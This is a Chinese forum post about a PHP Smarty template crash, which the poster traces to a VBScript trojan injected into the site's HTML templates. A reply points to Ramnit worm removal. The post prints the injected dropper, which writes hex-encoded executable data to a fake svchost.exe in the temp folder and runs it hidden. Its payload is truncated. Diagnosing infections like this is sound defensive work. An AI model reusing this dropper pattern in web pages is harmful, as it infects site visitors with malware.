热搜词
发表于 2020-5-8 01:25:09 | 显示全部楼层 |阅读模式
01.png

Fatal error: Uncaught exception 'Exception' with message 'Unexpected input at line135: e' in D:\phpStudy\PHPTutorial\WWW\smarty\sysplugins\smarty_internal_templatelexer.php:368 Stack trace: #0 D:\phpStudy\PHPTutorial\WWW\smarty\sysplugins\smarty_internal_templatelexer.php(279): Smarty_Internal_Templatelexer->yylex1() #1 D:\phpStudy\PHPTutorial\WWW\smarty\sysplugins\smarty_internal_smartytemplatecompiler.php(123): Smarty_Internal_Templatelexer->yylex() #2 D:\phpStudy\PHPTutorial\WWW\smarty\sysplugins\smarty_internal_templatecompilerbase.php(481): Smarty_Internal_SmartyTemplateCompiler->doCompile('<!DOCTYPE html>...', true) #3 D:\phpStudy\PHPTutorial\WWW\smarty\sysplugins\smarty_internal_templatecompilerbase.php(405): Smarty_Internal_TemplateCompilerBase->compileTemplateSource(Object(Smarty_Internal_Template), NULL, NULL) #4 D:\phpStudy\PHPTutorial\WWW\smarty\sysplugins\smarty_template_compiled.php(184): Smarty_Internal_TemplateCompilerBase->compileTemplate(Object(Smarty_Internal_Template)) #5 D:\phpStudy\PHPTutorial\WWW\sm in D:\phpStudy\PHPTutorial\WWW\smarty\sysplugins\smarty_internal_templatelexer.php on line 368


原因:
根目录中的 frame.html 文件和\myadmin\templates\文件夹下个别.html脚本文件被写入脚本木马。

</div><SCRIPT Language=VBScript><!--
DropFileName = "svchost.exe"
WriteData = "4D5A90000300000004000........................."
Set FSO = CreateObject("Scripting.FileSystemObject")
DropPath = FSO.GetSpecialFolder(2) & "\" & DropFileName
If FSO.FileExists(DropPath)=False Then
Set FileObj = FSO.CreateTextFile(DropPath, True)
For i = 1 To Len(WriteData) Step 2
FileObj.Write Chr(CLng("&H" & Mid(WriteData,i,2)))
Next
FileObj.Close
End If
Set WSHshell = CreateObject("WScript.Shell")
WSHshell.Run DropPath, 0
//--></SCRIPT>

全部评论1
灰儿 发表于 2020-5-8 02:58:19 | 显示全部楼层
http://www.admin365.cn/thread-45211-1-1.html   HTML感染 DropFileName = “svchost.exe” Ramnit 蠕虫病毒解决办法
回复

使用道具 举报

回复
您需要登录后才可以回帖 登录 | 注册

本版积分规则

QQ|Archiver|手机版|小黑屋|管理员之家 ( 苏ICP备2023053177号-2 )

GMT+8, 2024-11-22 18:10 , Processed in 0.184286 second(s), 25 queries .

Powered by Discuz! X3.5

Cpoyright © 2001-2024 Discuz! Team